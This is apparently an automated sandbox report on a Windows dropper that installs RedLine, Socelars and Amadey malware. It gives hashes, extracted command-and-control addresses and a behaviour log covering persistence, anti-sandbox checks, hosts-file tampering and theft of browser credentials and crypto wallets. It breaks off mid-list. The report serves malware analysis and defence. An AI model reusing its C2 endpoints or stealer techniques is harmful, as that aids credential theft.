Analysis
-
max time kernel
107s -
max time network
154s -
platform
windows10_x64 -
resource
win10-en-20211104 -
submitted
04-12-2021 09:47
Static task
static1
General
-
Target
ac526dac15bde2bd49b9fd467c730e3b.exe
-
Size
12.0MB
-
MD5
ac526dac15bde2bd49b9fd467c730e3b
-
SHA1
ffedab5d437c6a5d1990d5205f8ccbf3ac85b948
-
SHA256
b36eee28fcc8c8e6a9ca2075093de6bd151a267a9f9098c9fde0932e6457097e
-
SHA512
16fc082ebdbbd7eb09fd6c3aa2a3a25babbb77cdc4f924cac84cf8ba92826f8982f4bf3882e7b771e6b1764f6d2a218b08a844ea6442a13e23353fe3edddece5
Malware Config
Extracted
socelars
http://www.wgqpw.com/
Extracted
amadey
2.85
185.215.113.35/d2VxjasuwS/index.php
Signatures
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
rundll32.exerundll32.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4268 1572 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4484 1572 rundll32.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/2500-336-0x0000000000418F1E-mapping.dmp family_redline behavioral2/memory/2396-252-0x0000000000400000-0x00000000006FE000-memory.dmp family_redline -
Socelars Payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed159885289d58013.exe family_socelars C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed159885289d58013.exe family_socelars -
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
Processes:
WerFault.exedescription pid process target process PID 5080 created 4932 5080 WerFault.exe Wed159089afc01.exe -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
NirSoft WebBrowserPassView 2 IoCs
Password recovery tool for various web browsers
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed152ba37f7a152.exe WebBrowserPassView C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed152ba37f7a152.exe WebBrowserPassView -
Nirsoft 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed152ba37f7a152.exe Nirsoft C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed152ba37f7a152.exe Nirsoft -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\libcurl.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS86F2EB95\libcurl.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS86F2EB95\libcurlpp.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\libcurlpp.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\libstdc++-6.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS86F2EB95\libstdc++-6.dll aspack_v212_v242 -
Blocklisted process makes network request 49 IoCs
Processes:
powershell.exeMsiExec.exeflow pid process 131 6048 powershell.exe 192 3240 MsiExec.exe 194 3240 MsiExec.exe 195 3240 MsiExec.exe 197 3240 MsiExec.exe 198 3240 MsiExec.exe 201 3240 MsiExec.exe 202 3240 MsiExec.exe 204 3240 MsiExec.exe 206 3240 MsiExec.exe 207 3240 MsiExec.exe 208 3240 MsiExec.exe 210 3240 MsiExec.exe 212 3240 MsiExec.exe 213 3240 MsiExec.exe 214 3240 MsiExec.exe 215 3240 MsiExec.exe 217 3240 MsiExec.exe 219 3240 MsiExec.exe 220 3240 MsiExec.exe 222 3240 MsiExec.exe 223 3240 MsiExec.exe 227 3240 MsiExec.exe 230 3240 MsiExec.exe 232 3240 MsiExec.exe 234 3240 MsiExec.exe 236 3240 MsiExec.exe 238 3240 MsiExec.exe 240 3240 MsiExec.exe 242 3240 MsiExec.exe 244 3240 MsiExec.exe 247 3240 MsiExec.exe 248 3240 MsiExec.exe 249 3240 MsiExec.exe 250 3240 MsiExec.exe 252 3240 MsiExec.exe 256 3240 MsiExec.exe 258 3240 MsiExec.exe 261 3240 MsiExec.exe 263 3240 MsiExec.exe 269 3240 MsiExec.exe 273 3240 MsiExec.exe 275 3240 MsiExec.exe 276 3240 MsiExec.exe 279 3240 MsiExec.exe 280 3240 MsiExec.exe 283 3240 MsiExec.exe 286 3240 MsiExec.exe 288 3240 MsiExec.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
Processes:
PowerOff.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts PowerOff.exe -
Executes dropped EXE 61 IoCs
Processes:
setup_install.exeWed1579d7dbd40de51.exeConhost.exeWed157ff15767131.exeWed15c6a30186c4a.exeWed159885289d58013.exeWed15f7d0a7633.exeWed15c1d9b8f438.exeWed159089afc01.exeWed15c401857ac1a.exeWed15596ebd6461e52.exeWed150fb09a3c4ef934.exeWed15df815461c5872.exeWed15f83eb77d.exeWed15345d648981c8.exeWed15c6a30186c4a.tmpWed157ff15767131.tmpWed159089afc01.exeWed152ba37f7a152.exeWed15aae49c0ba16b.exeWed152cd6ec17d.exePowerOff.exeWed15f7d0a7633.exeWed15c6a30186c4a.exeWed15c6a30186c4a.tmpWed15c1d9b8f438.exeWed15f83eb77d.exeWed150fb09a3c4ef934.exeWed15f83eb77d.exeLYTP6BNP96NKL.Exe11111.exesvchost.exetkools.exewinhostdll.exeFyzhivuriba.exeGunahashosa.exepoweroff.exetkools.exepoweroff.tmptkools.exePower Off.exeinstaller.exeany.exeWed15596ebd6461e52.exegcleaner.exegcleaner.exepowershell.exetoolspab3.exetoolspab3.exeautosubplayer.exeinstaller.exeWed15345d648981c8.exeF624.exeSmartClock.exe90C4.exe13CF.exedata_load.exedata_load.exe1A0A.exe271B.exe2883.exepid process 1724 setup_install.exe 828 Wed1579d7dbd40de51.exe 440 Conhost.exe 1120 Wed157ff15767131.exe 1456 Wed15c6a30186c4a.exe 1552 Wed159885289d58013.exe 1668 Wed15f7d0a7633.exe 2372 Wed15c1d9b8f438.exe 2668 Wed159089afc01.exe 2396 Wed15c401857ac1a.exe 2388 Wed15596ebd6461e52.exe 3764 Wed150fb09a3c4ef934.exe 4752 Wed15df815461c5872.exe 4824 Wed15f83eb77d.exe 1284 Wed15345d648981c8.exe 2616 Wed15c6a30186c4a.tmp 4764 Wed157ff15767131.tmp 4932 Wed159089afc01.exe 2580 Wed152ba37f7a152.exe 5004 Wed15aae49c0ba16b.exe 2208 Wed152cd6ec17d.exe 3040 PowerOff.exe 4672 Wed15f7d0a7633.exe 1628 Wed15c6a30186c4a.exe 2200 Wed15c6a30186c4a.tmp 2136 Wed15c1d9b8f438.exe 2728 Wed15f83eb77d.exe 2500 Wed150fb09a3c4ef934.exe 5012 Wed15f83eb77d.exe 408 LYTP6BNP96NKL.Exe 1516 11111.exe 3020 svchost.exe 2008 tkools.exe 3268 winhostdll.exe 4040 Fyzhivuriba.exe 4948 Gunahashosa.exe 3092 poweroff.exe 2904 tkools.exe 2192 poweroff.tmp 508 tkools.exe 660 Power Off.exe 2644 installer.exe 5240 any.exe 5548 Wed15596ebd6461e52.exe 5828 gcleaner.exe 5880 gcleaner.exe 6048 powershell.exe 5624 toolspab3.exe 2320 toolspab3.exe 5128 autosubplayer.exe 3888 installer.exe 6060 Wed15345d648981c8.exe 2080 F624.exe 4264 SmartClock.exe 4556 90C4.exe 4620 13CF.exe 1264 data_load.exe 2136 data_load.exe 5712 1A0A.exe 2644 271B.exe 3176 2883.exe -
Modifies Windows Firewall 1 TTPs
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
Wed15c401857ac1a.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Wed15c401857ac1a.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Wed15c401857ac1a.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Fyzhivuriba.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Control Panel\International\Geo\Nation Fyzhivuriba.exe -
Loads dropped DLL 56 IoCs
Processes:
setup_install.exeWed15c6a30186c4a.tmpWed157ff15767131.tmpWed15c6a30186c4a.tmpWed1579d7dbd40de51.exeodbcconf.exeinstaller.exerundll32.exeautosubplayer.exe271B.exeMsiExec.exerundll32.exeMsiExec.exeMsiExec.exepid process 1724 setup_install.exe 1724 setup_install.exe 1724 setup_install.exe 1724 setup_install.exe 1724 setup_install.exe 1724 setup_install.exe 1724 setup_install.exe 2616 Wed15c6a30186c4a.tmp 4764 Wed157ff15767131.tmp 2200 Wed15c6a30186c4a.tmp 828 Wed1579d7dbd40de51.exe 828 Wed1579d7dbd40de51.exe 4476 odbcconf.exe 2644 installer.exe 2644 installer.exe 4988 rundll32.exe 5128 autosubplayer.exe 2644 271B.exe 4516 MsiExec.exe 4516 MsiExec.exe 5128 autosubplayer.exe 4912 rundll32.exe 3240 MsiExec.exe 3240 MsiExec.exe 3240 MsiExec.exe 3240 MsiExec.exe 3240 MsiExec.exe 3240 MsiExec.exe 3240 MsiExec.exe 5128 autosubplayer.exe 5128 autosubplayer.exe 3240 MsiExec.exe 3240 MsiExec.exe 5128 autosubplayer.exe 3240 MsiExec.exe 2644 271B.exe 3240 MsiExec.exe 3240 MsiExec.exe 5128 autosubplayer.exe 816 MsiExec.exe 816 MsiExec.exe 816 MsiExec.exe 816 MsiExec.exe 816 MsiExec.exe 816 MsiExec.exe 816 MsiExec.exe 5128 autosubplayer.exe 3240 MsiExec.exe 5128 autosubplayer.exe 5128 autosubplayer.exe 5128 autosubplayer.exe 5128 autosubplayer.exe 5128 autosubplayer.exe 5128 autosubplayer.exe 5128 autosubplayer.exe 5128 autosubplayer.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
PowerOff.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Windows Mail\\Qyqaedovizhae.exe\"" PowerOff.exe -
Checks for any installed AV software in registry 1 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\SOFTWARE\KasperskyLab powershell.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
Wed15c401857ac1a.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Wed15c401857ac1a.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
msiexec.exe271B.exedescription ioc process File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\L: 271B.exe File opened (read-only) \??\S: 271B.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\H: 271B.exe File opened (read-only) \??\I: 271B.exe File opened (read-only) \??\J: 271B.exe File opened (read-only) \??\P: 271B.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\F: 271B.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: 271B.exe File opened (read-only) \??\N: 271B.exe File opened (read-only) \??\O: 271B.exe File opened (read-only) \??\Y: 271B.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\U: 271B.exe File opened (read-only) \??\V: 271B.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\E: 271B.exe File opened (read-only) \??\K: 271B.exe File opened (read-only) \??\M: 271B.exe File opened (read-only) \??\W: 271B.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\B: 271B.exe File opened (read-only) \??\X: 271B.exe File opened (read-only) \??\Z: 271B.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\G: 271B.exe File opened (read-only) \??\Q: 271B.exe File opened (read-only) \??\R: 271B.exe File opened (read-only) \??\T: 271B.exe File opened (read-only) \??\G: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 29 ip-api.com 140 ip-api.com -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Drops file in System32 directory 17 IoCs
Processes:
svchost.exesvchost.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B9E0EC21769B6759DE8D34507B499C68 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #1 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #3 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #6 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B9E0EC21769B6759DE8D34507B499C68 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8596A8E25054157CDAA952D6CDB2F491 svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent 6A198B2A4BCBB3AA svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8596A8E25054157CDAA952D6CDB2F491 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedUpdater svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #2 svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent 2696852B7BAF1293 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #4 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #5 svchost.exe File opened for modification C:\Windows\System32\Tasks\Smart Clock svchost.exe -
Suspicious use of SetThreadContext 10 IoCs
Processes:
Wed159089afc01.exeWed15c1d9b8f438.exeWed150fb09a3c4ef934.exeWed15f83eb77d.exesvchost.exetkools.exesvchost.exeWed15596ebd6461e52.exegcleaner.exetoolspab3.exedescription pid process target process PID 2668 set thread context of 4932 2668 Wed159089afc01.exe Wed159089afc01.exe PID 2372 set thread context of 2136 2372 Wed15c1d9b8f438.exe Wed15c1d9b8f438.exe PID 3764 set thread context of 2500 3764 Wed150fb09a3c4ef934.exe Wed150fb09a3c4ef934.exe PID 4824 set thread context of 5012 4824 Wed15f83eb77d.exe Wed15f83eb77d.exe PID 3020 set thread context of 2904 3020 svchost.exe tkools.exe PID 2008 set thread context of 508 2008 tkools.exe tkools.exe PID 4584 set thread context of 5292 4584 svchost.exe svchost.exe PID 2388 set thread context of 5548 2388 Wed15596ebd6461e52.exe Wed15596ebd6461e52.exe PID 5828 set thread context of 5880 5828 gcleaner.exe gcleaner.exe PID 5624 set thread context of 2320 5624 toolspab3.exe toolspab3.exe -
Drops file in Program Files directory 64 IoCs
Processes:
Wed15c6a30186c4a.tmpPowerOff.exeautosubplayer.exepoweroff.tmpdescription ioc process File created C:\Program Files (x86)\FarLabUninstaller\is-K0KKI.tmp Wed15c6a30186c4a.tmp File created C:\Program Files (x86)\Windows Mail\Qyqaedovizhae.exe.config PowerOff.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libshm_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\control\libgestures_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libflacsys_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_dts_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\mobile_browse.html autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\logger\libconsole_logger_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\text_renderer\libfreetype_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\liveleak.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libfilesystem_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libudp_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\control\libhotkeys_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libps_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\misc\libvod_rtsp_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\vlm_export.html autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libsftp_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libmpc_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_mlp_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\powerOff\unins000.dat poweroff.tmp File created C:\Program Files (x86)\lighteningplayer\plugins\access\libsatip_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libnoseek_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\meta_engine\libfolder_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_ef8c08_256x240.png autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\video_splitter\libwall_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\intf\modules\httprequests.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\control\libnetsync_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libdemux_cdg_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_hevc_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\bbc_co_uk.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\rockbox_fm_presets.luac autosubplayer.exe File created C:\Program Files (x86)\powerOff\is-M6SR2.tmp poweroff.tmp File created C:\Program Files (x86)\lighteningplayer\hrtfs\dodeca_and_7channel_3DSL_HRTF.sofa autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\modules\common.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_wasapi_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\misc\libaddonsfsstorage_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\mux\libmux_ps_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\anevia_xml.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libamem_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libwaveout_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_flac_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\libssp-0.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\view.html autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libes_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\misc\liblogger_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\video_splitter\libclone_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\Video-48.png autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\playlist_jstree.xml autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\status.json autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\intf\dumpmeta.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\vocaroo.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\Other-48.png autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\vlm.xml autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\misc\libfingerprinter_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lighteningplayer.exe autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\jamendo.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\misc\libaddonsvorepository_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\appletrailers.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libavi_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libdiracsys_plugin.dll autosubplayer.exe -
Drops file in Windows directory 36 IoCs
Processes:
msiexec.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdge.exedescription ioc process File created C:\Windows\Installer\f769f59.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIAF2F.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIAF7E.tmp msiexec.exe File opened for modification C:\Windows\Installer\f769f59.msi msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\f769f5c.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIBC46.tmp msiexec.exe File opened for modification C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File opened for modification C:\Windows\Installer\MSIA20A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIA28A.tmp msiexec.exe File opened for modification C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File opened for modification C:\Windows\Installer\MSIA24B.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIBE5B.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB3F6.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIBA13.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC1F7.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC38F.tmp msiexec.exe File created C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIA22B.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB106.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC75A.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdge.exe File opened for modification C:\Windows\Installer\MSIA10E.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIA29B.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB34A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC011.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC2A3.tmp msiexec.exe File created C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe msiexec.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Installer\MSIA1DA.tmp msiexec.exe File created C:\Windows\Installer\SourceHash{C845414C-903C-4218-9DE7-132AB97FDF62} msiexec.exe File opened for modification C:\Windows\Installer\MSIAFEC.tmp msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 4 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 5080 4932 WerFault.exe Wed159089afc01.exe 3140 1284 WerFault.exe Wed15345d648981c8.exe 6104 6060 WerFault.exe Wed15345d648981c8.exe 4476 5128 WerFault.exe autosubplayer.exe -
Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
271B.exeWed15aae49c0ba16b.exetoolspab3.exe90C4.exedescription ioc process Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 271B.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Wed15aae49c0ba16b.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab3.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab3.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab3.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 90C4.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 90C4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 271B.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Wed15aae49c0ba16b.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Wed15aae49c0ba16b.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 90C4.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 271B.exe -
Checks processor information in registry 2 TTPs 8 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
13CF.exeWed1579d7dbd40de51.exesvchost.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 13CF.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Wed1579d7dbd40de51.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Wed1579d7dbd40de51.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 13CF.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 3 IoCs
Processes:
timeout.exetimeout.exetimeout.exepid process 5536 timeout.exe 4448 timeout.exe 1084 timeout.exe -
Download via BitsAdmin 1 TTPs 1 IoCs
-
Enumerates processes with tasklist 1 TTPs 1 IoCs
-
Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
Processes:
ipconfig.exepid process 4780 ipconfig.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
-
Kills process with taskkill 4 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 2588 taskkill.exe 6108 taskkill.exe 2620 taskkill.exe 688 taskkill.exe -
Processes:
